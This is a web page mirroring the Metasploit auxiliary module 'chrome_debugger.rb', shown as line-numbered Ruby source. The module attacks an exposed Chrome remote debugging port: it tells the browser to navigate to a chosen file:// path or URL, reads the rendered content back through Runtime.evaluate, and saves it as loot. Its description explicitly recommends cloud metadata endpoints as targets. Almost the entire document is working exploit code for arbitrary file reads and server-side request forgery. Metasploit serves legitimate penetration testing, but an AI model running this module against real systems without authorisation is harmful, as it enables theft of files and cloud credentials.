Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/chrome_debugger.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'eventmachine'
7
require 'faye/websocket'
8
9
class MetasploitModule < Msf::Auxiliary
10
include Msf::Exploit::Remote::HttpClient
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Chrome Debugger Arbitrary File Read / Arbitrary Web Request',
17
'Description' => %q{
18
This module uses the Chrome Debugger's API to read
19
files off the remote file system, or to make web requests
20
from a remote machine. Useful for cloud metadata endpoints!
21
},
22
'Author' => [
23
'Adam Baldwin (Evilpacket)', # Original ideas, research, proof of concept, and msf module
24
'Nicholas Starke (The King Pig Demon)' # msf module
25
],
26
'DisclosureDate' => '2019-09-24',
27
'License' => MSF_LICENSE,
28
'Notes' => {
29
'Reliability' => UNKNOWN_RELIABILITY,
30
'Stability' => UNKNOWN_STABILITY,
31
'SideEffects' => UNKNOWN_SIDE_EFFECTS
32
}
33
)
34
)
35
36
register_options(
37
[
38
Opt::RPORT(9222),
39
OptString.new('FILEPATH', [false, 'File to fetch from remote machine.']),
40
OptString.new('URL', [false, 'Url to fetch from remote machine.']),
41
OptInt.new('TIMEOUT', [true, 'Time to wait for response', 10])
42
]
43
)
44
45
deregister_options('Proxies')
46
deregister_options('VHOST')
47
deregister_options('SSL')
48
end
49
50
def run
51
if (datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?) && (datastore['URL'].nil? || datastore['URL'].empty?)
52
print_error('Must set FilePath or Url')
53
return
54
end
55
56
res = send_request_cgi({
57
'method' => 'GET',
58
'uri' => '/json'
59
})
60
61
if res.nil?
62
print_error('Bad Response')
63
return
64
end
65
66
data = JSON.parse(res.body).pop
67
EM.run do
68
file_path = datastore['FILEPATH']
69
url = datastore['URL']
70
71
if file_path
72
fetch_uri = "file://#{file_path}"
73
else
74
fetch_uri = url
75
end
76
77
print_status("Attempting Connection to #{data['webSocketDebuggerUrl']}")
78
79
unless data.key?('webSocketDebuggerUrl')
80
fail_with(Failure::Unknown, 'Invalid JSON')
81
end
82
83
driver = Faye::WebSocket::Client.new(data['webSocketDebuggerUrl'])
84
85
driver.on :open do
86
print_status('Opened connection')
87
id = rand(1024 * 1024 * 1024)
88
89
@succeeded = false
90
91
EM::Timer.new(1) do
92
print_status("Attempting to load url #{fetch_uri}")
93
driver.send({
94
'id' => id,
95
'method' => 'Page.navigate',
96
'params' => {
97
url: fetch_uri
98
}
99
}.to_json)
100
end
101
102
EM::Timer.new(3) do
103
print_status('Sending request for data')
104
driver.send({
105
'id' => id + 1,
106
'method' => 'Runtime.evaluate',
107
'params' => {
108
'expression' => 'document.documentElement.outerHTML'
109
}
110
}.to_json)
111
end
112
end
113
114
driver.on :message do |event|
115
print_status('Received Data')
116
117
data = JSON.parse(event.data)
118
119
if data['result']['result']
120
loot_path = store_loot('chrome.debugger.resource', 'text/plain', rhost, data['result']['result']['value'], fetch_uri, 'Resource Gathered via Chrome Debugger')
121
print_good("Stored #{fetch_uri} at #{loot_path}")
122
@succeeded = true
123
end
124
end
125
126
EM::Timer.new(datastore['TIMEOUT']) do
127
EventMachine.stop
128
fail_with(Failure::Unknown, 'Unknown failure occurred') unless @succeeded
129
end
130
end
131
end
132
end
133
134